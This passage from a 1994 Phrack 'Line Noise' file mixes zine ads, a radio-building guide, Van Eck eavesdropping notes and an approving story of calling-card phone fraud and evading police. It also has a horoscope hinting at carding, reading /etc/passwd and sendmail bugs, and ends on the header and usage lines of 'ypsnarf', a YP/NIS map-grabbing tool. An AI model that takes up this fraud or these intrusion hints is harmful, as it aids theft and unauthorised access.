Another k‑rad feature on them is the built‑in modem that they use to get their software. On a fatal error condition they appear to dial a telecom number and download the latest software just how their ROM commands them to do. We will shortly take a phone, install it somewhere else and figure out where it calls, what the protocol is and what else is being transmitted, but that will probably be in another Phrack.

If you found out anything that might be of interest, you are welcome to mail it to onkeld@ponton.hanse.de using the public key beneath. Unencrypted mail will be killed since ponton.hanse.de is run by a paranoid bitch that reads all traffic just for the hell of it, and I don't want the phedzZz to come and beat me over the head with a frozen chunk o' meat or worse.

Stay alert, watch out and have fun...

‑‑‑‑‑BEGIN PGP PUBLIC KEY BLOCK‑‑‑‑‑

Version: 2.3a

mQCNAize9DEAAAEEAKOb5ebKYg6cAxaiVT/H5JhCqgNNDHpkBwFMNuQW2nGnLMvg Q0woIxrM5ltnnuCBJGrGNskt3IMXsav6+YFjG6IA8YRHgvWEwYrTeW2tniS7/dXY fqCCSzTxJ9TtLAiMDBgJFzOIUj3025zp7rVvKThqRghLx4cRDVBISel/bMSZAAUR tChPbmtlbCBEaXR0bWV5ZXIgPG9ua2VsZEBwb250b24uaGFuc2UuZGU+

=b5ar

‑‑‑‑‑END PGP PUBLIC KEY BLOCK‑‑‑‑‑

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

_ _

((___)) INFORMATION IS JUNK MAIL ((___))

[ x x ] x x ]

\ / cDc communications \ /

(' ') ‑cDc‑ CULT OF THE DEAD COW ‑cDc‑ (' ')

(U) U)

deal with it, presents unto you 10 phat t‑files, deal with it, S U C K E R fresh for July 1994: S U C K E R

New gNu NEW gnU new GnU nEW gNu neW gnu nEw GNU releases for July, 1994:

_________________________________/Text Files\_________________________________

261: "Interview with Greta Shred" by Reid Fleming. Reid conducts an in‑depth interview with the editor of the popular 'zine, _Mudflap_.

262: "_Beverly Hills 90210_ as Nostalgia Television" by Crystal Kile. Paper presented for the 1993 National Popular Culture Association meeting in New Orleans.

263: "What Color Is the Sky in Your World?" by Tequila Willy. Here's your homework, done right for you by T. "Super‑Brain" Willy.

264: "Chicken Hawk" by Mark E. Dassad. Oh boy. Here's a new watermark low level of depravity and sickness. If you don't know what a "chicken hawk" is already, read the story and then you'll understand.

265: "Eye‑r0N‑EE" by Swamp Ratte'. This one's interesting 'cause only about half‑a‑dozen or so lines in it are original. The rest was entirely stuck together from misc. files on my hard drive at the time. Some art guy could say it's a buncha post‑this&that, eh? Yep.

266: "Interview with Barbie" by Clench. Barbie's got her guard up. Clench goes after her with his rope‑a‑dope interview style. Rope‑a‑dope, rope‑a‑dope. This is a boxing reference to a technique mastered by The Greatest of All Time, Muhamed Ali.

267: "About a Boy" by Franken Gibe. Mr. Gibe ponders a stolen photograph. Tiny bunnies run about, unhindered, to find their own fate.

268: "Mall Death" by Snarfblat. Story about a Dumb Girl[TM]. Are you surprised?

269: "Prophile: Future History" by THE NIGHTSTALKER. It's the future, things are different, but the Master Hacker Dude lives on.

270: "Time out for Pop" by Malcolm D. Moore. Sad account of a hopless‑pop.

__________________________________/cDc Gnuz\__________________________________

"And that no man might buy or sell, save he that had the mark, or the name of the Cow, or the number of his name. Here is wisdom. Let him that hath understanding count the number of the Cow: for it is the number of a man; and his number is eight billion threescore and seven million nine hundred fourtyfour thousand three hundred threescore and two. So it is written." ‑Omega

Yowsah, yowsah, yowsah. JULY once again, the super‑hooray month which marks cDc's 8th year of existence. Outlasting everyone to completely rule and dominate all of cyberspace, blah blah blah. Yeah, think a special thought about cDc's significance in YOUR life the next time you go potty. Name your firstborn child after me, and we'll call it karmicly even, pal. My name is Leroy.

We're always taking t‑file submissions, so if you've got a file and want to really get it out there, there's no better way than with cDc. Upload text to The Polka AE, to sratte@phantom.com, or send disks or hardcopy to the cDc post office box in Lubbock, TX. No song lyrics and bad poetry please; we'll leave that to the no‑class‑havin', bottom‑feeder e‑shoveling orgs. out there.

News item of the month, as found by Count Zero:

"ROTTING PIG FOUND IN DITCH

VERDEN, OKLAHOMA ‑ Responding to a tip from an employee, Verden farmer Bill McVey found a rotting pig in a ditch two miles north of town. Farmer McVey reported the pig to the authorities, because you cannot, legally, just leave a dead pig in a ditch. You must dispose of your deceased livestock properly. There are companies that will take care of this for you. As for proper disposal of large dead animals, McVey contracts with Used Cow Dealer."

".and the rivers ran red with the bl00d

of the Damned and the Deleted..."

Dem0nSeed

S. Ratte'

cDc/Editor and P|‑|Ear13zz |_3@DeRrr

"We're into t‑files for the groupies and money."

Middle finger for all.

Write to: cDc communications, P.O. Box 53011, Lubbock, TX 79453. Internet: sratte@phantom.com.

ALL cDc FILES LEECHABLE FROM FTP.EFF.ORG IN pub/Publications/CuD/CDC.

_______________________________________

cDc Global Domination Update #16‑by Swamp Ratte'‑"Hyperbole is our business" Copyright (c) 1994 cDc communications. All Rights Reserved.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

===[ Radio Modification Project ]======================================

Tuning in to Lower Frequency Signals June 26, 1994

========================================By: Grendel / 905 ]===>

The lower frequency regions of the radio spectrum are often ignored by ham'ers, pirates, and DX'ers alike due to the relatively little known ways of tuning in. The following article will detail how to construct a simple‑made antenna to tune in to the LF's and show how to adjust an amateur band type radio to receive the desired signals.

___________

\ /

\/: \/

/ . \

\_______/he lower frequency spectrum has been made to include the very low frequency ("VLF" 2 kHz to 30 kHz) band and a small part of the medium frequency ("MF" 300 ‑ 500 kHz) band. For our purposes, a suitable receiver must be able to cover the 2 kHz to 500 kHz range as well as being calibrated at 10 kHz intervals (standard). The receiver must also be capable of covering AM and CW broadcasts. For best capabilities, the receiver should also be able to cover LSB ("lower side band") and USB ("upper side band").

The Receiving System

`'`'`'`'`'`'`'`'`'`'

The receiver I use consists of a standard amateur HF ("High Frequency") band receiver adjusted between the 3,500 and 4,000 kHz bands. This causes the receiver to act as a tuneable IF ("Intermediate Frequency") and also as demodulator. You will also require a wideband LF ("Low Frequency") converter which includes a 3,500 kHz crystal oscillator. See Fig. 1:

.==[ Fig 1. Block Diagram ]============================.

| _____

| \ANT/

| \./ crystal |

| | ______|______

| `‑‑‑‑‑| 2 ‑ 500 kHz | | 3‑4000 kHz | | | | Converter* |‑‑~‑‑| IF Receiver|‑‑‑OUTPUT |

| .‑‑‑‑‑|_____________|

| |

| GND

|____________________________

*The converter is a circuit board type 80D/L‑101/PCB available from L.F. Engineering Co, 17 Jeffry Road, East Haven CT, 06513 for $43 US including S & H.One may be constructed to work with your receiver (but at a higher price no doubt).

Phono jack plugs and sockets are used for the interconnections throughout the receiving system and the converter and receiver (~) are connected with RG58 coax cable of no greater length than 4 ft.

When tuning, the station frequency is measured by deducting 3,500 kHz from the scale on the main receiver (ie. 340 kHz = 3,840 kHz on the main receiver, 120 = 3,620 kHz, 95 = 3,595 kHz, etc.)

The Ferrite End‑fed Antenna

`'`'`'`'`'`'`'`'`'`'`'`'`'`

This is a small antenna designed to tune between 95 kHz and 500 kHz. It consists of a coil wound around a ferrite rod, with a 4 ft. lead.

Materials:

o 7 7/8" x 3/8" ferrite rod

o 5" 24 SWG double cotton covered copper wire o 2 PLASTIC coated terry clips o a wood or plastic base (8 1/2" x .8" x .5") o 2 standard, two‑gang 500 pF tuning capacitors o a plastic plate (preferably 2" high)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑ A Few Things on Van Eck's Method of Eavesdroping ‑‑

Opticon the Disassembled ‑ UPi

Dr Wim Van Eck, was the one who developed the anonymous method for eavesdroping computers ( and, apparently, not only ) from distance, in the laboratories of Neher, Holland. This method is based on the fact that monitors do transmit electromagnetic radiations. As a device, it is not too complex and it can be constructed from an experienced electronics phreak. It uses a simple‑direction antenna which grabs monitor signals from about 800 meters away. Simplified schematics are available from Consumertronics.

TEMPEST stands for Transient ElectroMagnetic Pulse Emanation STandard. It concerns the quantity of electromagnetic radiations from monitors and televisions, although they can also be detected on keyboards, wires, printers and central units. There are some security levels in which such radiations are supposed to be untraceable by Van Eck systems. Those security levels or standards, are described thoroughly in a technical exposition called NACSIM 5100A, which has been characterized by NSA classified.

Variations of the voltage of the electrical current, cause electromagnetic pulses in the form of radio waves. In cathode ray tube ( C.R.T. ) devices, such as televisions and monitors, a source of electrons scans the internal surface and activates phosphore. Whether or not the scanning is interlaced or non‑interlaced, most monitors transmit frequencies varying from 50 to 75 Mhz per second. They also transmit harmonic frequencies, multiplies of the basic frequencies; for example a transmitter with signal of 10 Mhz per second will also transmit waves of 20, 30, 40 etc. Mhz. Those signals are weaker because the transmiter itself effaces them. Such variations in the voltage is what the Van Eck system receives and analyzes.

There are ways to prevent or make it harder for someone to monitor your monitor. Obviously you cannot place your computer system underground and cover it with a Faraday cage or a copper shield ( If your case is already that, then you know more about Van Eck than I do ). What else ?

(1) Certain computers, such as Wang's, prevent such divulges; give preference to them.

(2) Place your monitor into a grounded metal box, 1.5 cm thick.

(3) Trace your tracer(s). They gonna panic.

(4) Increase of the brightness and lowering of the contrast reduces TEMPEST's power. Metal objects, like bookshelves,

around the room, will also help a little bit.

(5) Make sure that two or more monitors are transmitting at the same frequency and let them operate simultaneously; this will confuse Van Eck systems.

(6) Buy or make on your own, a device which will transmit noise at your monitor's frequency.

(7) Act naturally. That is:

(a) Call IRC, join #hack and never mumble a single word.

(b) Read only best selling books.

(c) Watch television at least 8 hours a day.

(d) Forget altruism; there is only you, yourself

and your dick/crack.

(8) Turn the monitor off.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑Almost BustedBy: Deathstar

It all started one week in the last month of summer. Only my brother and I were at the house for the whole week, so I did whatever I wanted. Every night, I would phreak all night long. I would be either at a payphone using AT&Tz, or at home sitting on a conference. I would be on the phone till at least four or five in the morning. But one night, my luck was running thin, and I almost phreaked for the last time. I was at a payphone, using cards. I had been there since around twelve midnight.. The payphone was in a shopping center with a supermarket and a few other stores. Most every thing closed at eleven.. Except for the nearby gas station. Anyway, I was on the phone with only one person that night. I knew the card would be dead by the end of the night so I went ahead and called him on both of his lines with both of the payphones in the complex with the same card. I had talked for hours. It started to get misty and hard to see. Then, I noticed a car of some kind pulling into the parking lot. I couldn't tell what kind of car it was, because it was so dark. The car started pulling up to me, and when it was around twenty feet away I realized it was a police car. They got on the loudspeaker and yelled "Stay where you are!". I dropped the phone and ran like hell past the supermarket to the edge of the complex. I went down a bike path into a neighborhood of townhouses. Running across the grass, I slipped and fell about two or three times. I knew they were following me, so I had to hide. I ran to the area around the back of the supermarket into a forest. I smacked right into a fence and fell on the ground. I did not see the fence since it was so dark. Crawling a few feet, I laid down and tried to cover my body with some leaves and dirt to hide. I was wearing an orange shirt and white shorts. I laid as still as I could, covered in dirt and leaves. I could hear the police nearby. They had flashlights and were walking through the forest looking for me. I knew I would get busted. I tried as hard as I could to keep from shaking in fear. I lay there for around thirty minutes. Bugs were crawling around on my legs biting me. I was itching all over. I couldn't give up though, because if they caught me I knew that would be the end of my phreaking career. I was trying to check if they were still looking for me, because I could not hear them. Just as I was about to make a run for it, thinking they were gone I heard a police radio. I sat tight again. For another hour, I lay there until finally I was sure they were gone. I got up and started to run. I made my way through the neighborhood to my house. Finally I got home. It was around five thirty a.m. I was filthy. The first thing I did was call the person I was talking to on the payphone and tell him what happened. Then, I changed clothes and cleaned myself up. I checked my vmb to find that a conference was up. I called it, and told my story to everyone on.

I thought that was the end of my confrontation with the police, but I was wrong. The next day I had some people over at my house. Two or Three good friends. One of them said that there was a fugitive loose in our town. We were bored so we went out in the neighborhood to walk around and waste time. Hardly anyone was outside, and police cars were going around everywhere. One guy did leave his house but he brought a baseball bat with him. We thought it was funny. Anyway, we soon got bored and went back home. Watching tv, we turned to the news. They had a Report about the Fugitive. We watched. It showed a picture of the shopping center I was at. They said "One suspect was spotted at this shopping center last night at around four thirty in the morning. The officer is around ninety five percent sure that the suspect was the fugitive. He was wearing a orange shirt and white shorts, and ran when approached." I then freaked out. They were searching my neighborhood for a fugitive that didn't exist! I called back the guy I was talking to the night before and told him, and then told everyone that was on the conference the night before. It ended up that the fugitives never even entered our state. They were caught a week later around thirty miles from the prison they escaped from. Now I am known by two nicknames. "NatureBoy" because everyone says I communed with nature for a hour and a half hiding from the police, and "The Fugitive" for obvious reasons. Anywayz, That's how I was almost busted..

‑DS

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The following is a *true* story. It amused the hell out of me while it was happening. I hope it isn't one of those "had to be there" things. Copyright 1994 Captain Sarcastic, all rights reserved.

On my way home from the second job I've taken for the extra holiday ca$h I need, I stopped at Taco Bell for a quick bite to eat. In my billfold is a $50 bill and a $2 bill. That is all of the cash I have on my person. I figure that with a $2 bill, I can get something to eat and not have to worry about people getting pissed at me.

ME: "Hi, I'd like one seven layer burrito please, to go."

IT: "Is that it?"

ME: "Yep."

IT: "That'll be $1.04, eat here?"

ME: "No, it's *to* *go*." [I hate effort duplication.]

At his point I open my billfold and hand him the $2 bill. He looks at it kind of funny and

IT: "Uh, hang on a sec, I'll be right back."

He goes to talk to his manager, who is still within earshot. The following conversation occurs between the two of them.

IT: "Hey, you ever see a $2 bill?"

MG: "No. A what?"

IT: "A $2 bill. This guy just gave it to me."

MG: "Ask for something else, THERE'S NO SUCH THING AS A $2 BILL." [my emp] IT: "Yeah, thought so."

He comes back to me and says

IT: "We don't take these. Do you have anything else?"

ME: "Just this fifty. You don't take $2 bills? Why?"

IT: "I don't know."

ME: "See here where it says legal tender?"

IT: "Yeah."

ME: "So, shouldn't you take it?"

IT: "Well, hang on a sec."

He goes back to his manager who is watching me like I'm going to shoplift, and

IT: "He says I have to take it."

MG: "Doesn't he have anything else?"

IT: "Yeah, a fifty. I'll get it and you can open the safe and get change." MG: "I'M NOT OPENING THE SAFE WITH HIM IN HERE." [my emp]

IT: "What should I do?"

MG: "Tell him to come back later when he has REAL money."

IT: "I can't tell him that, you tell him."

MG: "Just tell him."

IT: "No way, this is weird, I'm going in back."

The manager approaches me and says

MG: "Sorry, we don't take big bills this time of night." [it was 8pm and this particular Taco Bell is in a well lighted indoor mall with 100 other stores.]

ME: "Well, here's a two."

MG: "We don't take *those* either."

ME: "Why the hell not?"

MG: "I think you *know* why."

ME: "No really, tell me, why?"

MG: "Please leave before I call mall security."

ME: "Excuse me?"

MG: "Please leave before I call mall security."

ME: "What the hell for?"

MG: "Please, sir."

ME: "Uh, go ahead, call them."

MG: "Would you please just leave?"

ME: "No."

MG: "Fine, have it your way then."

ME: "No, that's Burger King, isn't it?"

At this point he BACKS away from me and calls mall security on the phone around the corner. I have two people STARING at me from the dining area, and I begin laughing out loud, just for effect. A few minutes later this 45 year oldish guy comes in and says [at the other end of counter, in a whisper]

SG: "Yeah, Mike, what's up?"

MG: "This guy is trying to give me some [pause] funny money."

SG: "Really? What?"

MG: "Get this, a *two* dollar bill."

SG: "Why would a guy fake a $2 bill?" [incredulous]

MG: "I don't know? He's kinda weird. Says the only other thing he has is a fifty."

SG: "So, the fifty's fake?"

MG: "NO, the $2 is."

SG: "Why would he fake a $2 bill?"

MG: "I don't know. Can you talk to him, and get him out of here?" SG: "Yeah..."

Security guard walks over to me and says

SG: "Mike here tells me you have some fake bills you're trying to use." ME: "Uh, no."

SG: "Lemme see 'em."

ME: "Why?"

SG: "Do you want me to get the cops in here?"

At this point I was ready to say, "SURE, PLEASE," but I wanted to eat, so I said

ME: "I'm just trying to buy a burrito and pay for it with this $2 bill."

I put the bill up near his face, and he flinches like I was taking a swing at him. He takes the bill, turns it over a few times in his hands, and says

SG: "Mike, what's wrong with this bill?"

MG: "It's fake."

SG: "It doesn't look fake to me."

MG: "But it's a **$2** bill."

SG: "Yeah?"

MG: "Well, there's no such thing, is there?"

The security guard and I both looked at him like he was an idiot, and it dawned on the guy that he had no clue.

My burrito was free and he threw in a small drink and those cinnamon things, too. Makes me want to get a whole stack of $2 bills just to see what happens when I try to buy stuff. If I got the right group of people, I could probably end up in jail. At least you get free food.

Line Noise

==Phrack Magazine==

Volume Five, Issue Forty‑Six, File 4 of 28

// // /\

// // //\\

==== // // \\

/\ // // \\ /

//\\ // // // //

// \\/ \\ // //

PART II

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The official Legion of Doom t‑shirts are still available.

Join the net.luminaries world‑wide in owning one of

these amazing shirts. Impress members of the opposite sex, increase your IQ, annoy system administrators, get raided by the government and lose your wardrobe!

Can a t‑shirt really do all this? Of course it can!

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

"THE HACKER WAR ‑‑ LOD vs MOD"

This t‑shirt chronicles the infamous "Hacker War" between rival groups The Legion of Doom and The Masters of Destruction. The front of the shirt displays a flight map of the various battle‑sites hit by MOD and tracked by LOD. The back of the shirt

has a detailed timeline of the key dates in the conflict, and

a rather ironic quote from an MOD member.

(For a limited time, the original is back!)

"LEGION OF DOOM ‑‑ INTERNET WORLD TOUR"

The front of this classic shirt displays "Legion of Doom Internet World Tour" as well as a sword and telephone intersecting the planet earth, skull‑and‑crossbones style. The back displays the

words "Hacking for Jesus" as well as a substantial list of "tour‑stops" (internet sites) and a quote from Aleister Crowley.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

All t‑shirts are sized XL, and are 100% cotton.

Cost is $15.00 (US) per shirt. International orders add $5.00 per shirt for postage.

Send checks or money orders. Please, no credit cards, even if it's really your card.

Name: ________________________________

Address: ___________________________________

City, State, Zip: ____________________________________

I want ____ "Hacker War" shirt(s)

I want ____ "Internet World Tour" shirt(s)

Enclosed is $______ for the total cost.

Mail to: Chris Goggans

603 W. 13th #1A‑278

Austin, TX 78701

These T‑shirts are sold only as a novelty items, and are in no way attempting to glorify computer crime.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

introducing...

The PHRACK Horoscope, Summer 1994

Foreseen in long nights of nocturnal lubrication by Onkel Dittmeyer

‑‑

Do you believe in the stars? Many do, some don't. In fact, the stars can tell you a whole lot about the future. That's bullshit? You don't believe it? Good. Be doomed. See you in hell. Here's the official PHRACK horoscope for all eleet hackerz for the summer of 1994.

You can use this chart to find out your zodiac sign by your DOB.

Aquarius.....01/20 ‑ 02/18 Leo..........07/23 ‑ 08/22 Pisces.......02/19 ‑ 03/20 Virgo........08/23 ‑ 09/22 Aries........03/21 ‑ 04/19 Libra........09/23 ‑ 10/22 Taurus.......04/20 ‑ 05/20 Scorpio......10/23 ‑ 11/21 Gemini.......05/21 ‑ 06/20 Sagittarius..11/22 ‑ 12/21 Cancer.......06/21 ‑ 07/22 Capricorn....12/22 ‑ 01/19

‑‑

oOo This summer's best combinations oOo

YOU LOVE BS VICTIM H0T WAREZ

====================================

Aquarius Libra Leo Sagittarius Pisces Sagittarius Aquarius Cancer Aries Aries Cancer Capricorn Taurus Gemini Pisces Taurus Gemini Cancer Aries Scorpio Cancer Leo Virgo Gemini Leo Scorpio Gemini Leo Virgo Capricorn Sagittarius Libra Libra Virgo Libra Virgo Scorpio Pisces Capricorn Pisces Sagittarius Aquarius Scorpio Aquarius Capricorn Taurus Taurus Aries

====================================

‑‑

And Now... The 3l33t And Official PHRACK Summer 1994 Horoscope!

Aries [March 21st ‑ April 19th]

There is a pot full of k0DeZ at the end of the rainbow for you. Try to channel all your ambition on finding it, hint: you won't find it in /bin/gif/kitchen.gear.

Warning: Risk of bust between August 5th and August 10th!

Luck [oooo.] ‑ Wealth [oo...] ‑ Bust risk [ooo..] ‑ Love [o....]

Taurus [April 20th ‑ May 20th]

PhedZzZz are lurking behind Saturn, obscured behind one of the rings. Be sure to *67 all your calls, and you'll be fine. Hint: Don't undertake any interstellar space travel, and avoid big yellow ships. Watch out for SprintNet Security between July 12th and August 1st. Luck [oo...] ‑ Wealth [oo...] ‑ Bust risk [oooo.] ‑ Love [ooo..]

Gemini [May 21st ‑ June 20th]

There might be a force dragging you into warez boards. Try to resist the attraction, or you might be thrown out of the paradise. Hint: If a stranger with a /ASL connect crosses your way, stay away from him.

Warning: Your Dual Standard HST might explode sometime in June. Luck [o....] ‑ Wealth [ooo..] ‑ Bust risk [o....] ‑ Love [oo...]

Cancer [June 21st ‑ July 22nd]

There are dark forces on your trail. Try to avoid all people wearing suits, don't get in their cars, and don't let them give you shit. Hint: Leave the country as soon if you can, or you won't be able to. Look out for U4EA on IRC in late July, you might get /killed. Luck [o....] ‑ Wealth [oo...] ‑ Bust risk [ooooo] ‑ Love [oo...]

Leo [July 23rd ‑ August 22nd]

The path of Venus this year tells us that there is love on the way for you. Don't look for it on X‑rated ftp sites, it might be out there somewhere. Hint: Try getting out of the house more frequently or you might miss it.

Warning: If Monica Weaver comes across your way, break and run! Luck [ooo..] ‑ Wealth [o....] ‑ Bust risk [oo...] ‑ Love [oooo.]

Virgo [August 23rd ‑ September 22nd]

Pluto tells us that you should stay away from VAXes in the near future. Lunatic force tells us that you might have more luck on Berkeley UNIX. Hint: Try to go beyond cat /etc/passwd. Explore sendmail bugs. Warning: In the first week of October, there is a risk of being ANIed. Luck [oooo.] ‑ Wealth [oo...] ‑ Bust risk [oo...] ‑ Love [o....]

Libra [September 23rd ‑ October 22nd]

The closer way of Mars around the Sun this year might mean that you will be sued by a telco or a big corporation. The eclipse of Uranus could say that you might have some luck and card a VGA 486 Laptop. Hint: Be careful on the cordless.

Watch out for good stuff in dumpsters between July 23rd and July 31st. Luck [oo...] ‑ Wealth [o....] ‑ Bust risk [oooo.] ‑ Love [oo...]

Scorpio [October 23rd ‑ November 21st]

Sun propulsions say that you should spend more time exploring the innards of credit report systems, but be aware that Saturn reminds you that one local car dealer has his I.D. monitored.

Hint: Stay out of #warez

Warning: A star called 43‑141 might be your doom. Watch out. Luck [ooo..] ‑ Wealth [oooo.] ‑ Bust risk [oo...] ‑ Love [oo...]

Sagittarius [November 22nd ‑ December 21st]

Cold storms on Pluto suggest that you don't try to play eleet anarchist on one of the upcoming cons. Pluto also sees that there might be a slight chance that you catch a bullet pestering a cop. Hint: Be nice to your relatives.

You might get lucky BSing during the third week of August.

Luck [o....] ‑ Wealth [oo...] ‑ Bust risk [ooo..] ‑ Love [oo...]

Capricorn [December 22nd ‑ January 19th]

This summer brings luck to you. Everything you try is about to work out. You might find financial gain in selling k0DeZ to local warez bozos. Hint: Don't try to BS at a number who is a prime number, they will trace your ass and beat you to death with a raw cucumber. Special kick of luck between June 14th and July 2nd.

Luck [ooooo] ‑ Wealth [oooo.] ‑ Bust risk [oo...] ‑ Love [ooo..]

Aquarius [January 20th ‑ February 18th]

The third moon of Saturn suggests to stay in bed over the whole summer, or everything will worsen. Avoid to go to any meetings and cons. Do not try to get up before September 11th.

Hint: You can risk to call PRODIGY and have a gR3aT time. Warning: High chance of eavesdroping on your line on August 14th. Luck [.....] ‑ Wealth [o....] ‑ Bust risk [ooooo] ‑ Love [o....]

Pisces [February 19th ‑ March 20th]

Mars reads a high mobility this summer. You should try to go to a foreign county, maybe visit HEU II. Finances will be OK. Do not go on any buses for that might be your doom.

Hint: Don't get a seat near a window, whatever you do.

Warning: Avoid 6'8" black guys in Holland, they might go for your ass. Luck [ooo..] ‑ Wealth [ooo..] ‑ Bust risk [o....] ‑ Love [oo...]

If your horoscope does not come true, complain to god@heaven.mil. 31337 If it does, you are welcome to report it to onkeld@ponton.hanse.de. 43V3R

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

::::::::::::::::::::::::::::::::::::::::

The SenseReal Mission

If you are reading this it indicates you have reached a point along your journey that you will have to decide whether you agree with The SenseReal Foundation or whether you think that those who believe and support The SenseReal Foundation are crazy. Your decision to join The SenseReal Foundation on it's mission will undoubtedly change your life forever. When you understand the reason it exists and what it seeks you will better know how to decide. That is why this text was created.

He is known as Green Ghost. Some know him as Jim Nightshade. He was born in 1966. He is not a baby boomer and he is not a Generation Xer. He falls into that group of the population that has so far escaped definition. He is a (yberpunk. He was (yberpunk before (yberpunk was cool. He is the founder and leader of The SenseReal Foundation. You will learn more about him later.

But first you will have to know about the background. There once was a man named Albert Hoffman. In 1943, on April 16 Hoffman absorbed a threshold amount of the drug known as LSD. He experienced "a peculiar restlessness". LSD since that time has played an important role in this world.

There are other agents involved in the story. Mary Pinchot, JFK, Nixon, Charles Manson, Jimi Hendrix, Timothy Leary, Elvis Presley and many others. There are too many details and explanations necessary to explain everything here. But this does not matter. Because the SenseReal Foundation is about riding the wave. We believe that the ultimate goal cannot be defined. To define it would be to destroy it.

The SenseReal Foundation hopes that things can be changed for the better. But we realize that the situation can become

much worse. From what history teaches us and what we instinctively feel, we know that there is a great probability that things will get much worse before and if things ever get better. Doom looms on the horizon like an old friend.

Freedom is being threatened every day and The SenseReal Foundation seeks to defend and seek Freedom. Big Brother is here NOW and to deny his existence is only to play into his hand. The goal of our government both here in America and worldwide is to remain in power and increase it's control of The People. To expose Big Brother and destroy him is one of the many goals of The SenseReal Foundation.

As a member of (yberspace and an agent of The SenseReal Foundation you will have to carefully consider your interaction with the flow of Info. The ideals of Liberty must be maintained. The SenseReal Foundation provides a grounding point. The place where the spark transfers from plasma to light and back to plasma. Tesla was not on the wrong track. The SenseReal Foundation is a mechanism which seeks to increase Freedom. Only by learning more can we defeat the Evil. The Good must prevail.

If you have the Hacker spirit and think along the same lines then The SenseReal Foundation may be your calling. If you think like J.R. Dobbs or Green Ghost then it is possible we can make it through The Apocalypse. A final date has never been announced for this event. Green Ghost does not claim to know the exact date but he does claim to have some Info on it.

Green Ghost does not claim to have all the answers or even to know all the questions. He was first exposed to computers in the early 70's at his local high school. The first computer he ever used was a Honeywell terminal connected to a mainframe operated at the home office of Honeywell and operated for the school. This machine was programed by feeding it stacks of cards with boxes X'd out with a No. 2 pencil. It did have a keyboard hooked up to a printer which served for the monitor. The text was typed out and the paper rolled out of the machine in great waves.

This experience left him wanting more. Somewhere between the machine and the mind were all the questions and all the answers. The SenseReal Foundation will supply some of the means. We

must all work together if we are to succeed. UNITED WE STAND, DIVIDED WE FALL. If you wish to participate with The SenseReal Foundation you must devote yourself to becoming an Info Agent. As an Info Agent it is your duty to seek Truth and Knowledge out wherever it is located. To Learn and to seek to increase

the Learning of all at The SenseReal Foundation. Different

people will be needed to help out in different ways. SenseReal's Info Agents are located all around the world and are in contact with fellow SenseReal members via any one of several SenseReal facilities. The primary establishment and headquarters of The SenseReal Foundation is SenseReal's own online system:

T /‑/ E /‑/ /=\ ( /< E R ' S /\/\ /=\ /\/ S / O /\/ >>>::: 1 ‑ 8 0 3 ‑ 7 8 5 ‑ 5 0 8 0 :::<<<

27 Hours Per Day /14.4 Supra /Home of The SenseReal Foundation Also contact via SenseReal's mail drop by writing or sending materials to: TSF \ Electronic Mail: P.O. BOX 6914 \ Green_Ghost@neonate.atl.ga.us HILTON HEAD, SC 29938‑6914 \

The Hacker's /\/\ansion is a system like no other. While it is not your typical Hackers board it has much Info on Hacking. While it is not like any Adult system you've ever seen it has the most finest Adult material available anywhere. It is not a Warez board but we are definitely Pirates. Because we are (yberpunks. What makes the Hacker's Mansion different is our emphasis on quality. Everything that you find at The /‑/acker's /\/\ansion is 1ST (lass. All the coolest E‑zines are pursued here. Phrack, CUD, and Thought Virus to name just a few. Of course there is one other source for Thought Virus:

Send E‑Mail to: ListServ@neonate.atl.ga.us

In the subject or body of the message write:

FAQ ThoughtCriminals

and you will receive the current issue in your E‑Mail box in no time. If you wish to join the Thought Criminals mailing list and communicate with your fellow Thought Criminals via E‑Mail then send another message to: ListServ@neonate.atl.ga.us

and write the following in the subject or body of the message: Subscribe ThoughtCriminals Your‑Address‑Here

or simply: Subscribe ThoughtCriminals

To mail others on the Thought Criminals mailing list send a message to: ThoughtCriminals@neonate.atl.ga.us

Tell us all. Communication is vital. Our survival may depend on it. The SenseReal Foundation is about the allegiance of many people, and indeed beings, as our friends from other planets can tell you. The EFF inspired us and was a model but we don't have the EFF's money so we need YOU. If you are someone who can contribute or who believes in The Cause or are just interested

in Tax Resistance or the Free The Weed movement then you should join The SenseReal Foundation today. Contact us through any of above channels and become a Freedom Fighter today. Time is of

the essence.

::::::::::::::::::::::::::::::::::::::::

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

** OLD SHIT THAT STILL WORKS **

‑ sometimes

/*

* THIS PROGRAM EXERCISES SECURITY HOLES THAT, WHILE GENERALLY KNOWN IN * THE UNIX SECURITY COMMUNITY, ARE NEVERTHELESS STILL SENSITIVE SINCE * IT REQUIRES SOME BRAINS TO TAKE ADVANTAGE OF THEM. PLEASE DO NOT * REDISTRIBUTE THIS PROGRAM TO ANYONE YOU DO NOT TRUST COMPLETELY. *

* ypsnarf ‑ exercise security holes in yp/nis.

*

* Based on code from Dan Farmer (zen@death.corp.sun.com) and Casper Dik * (casper@fwi.uva.nl).

*

* Usage:

* ypsnarf server client

* ‑ to obtain the yp domain name

* ypsnarf server domain mapname

* ‑ to obtain a copy of a yp map

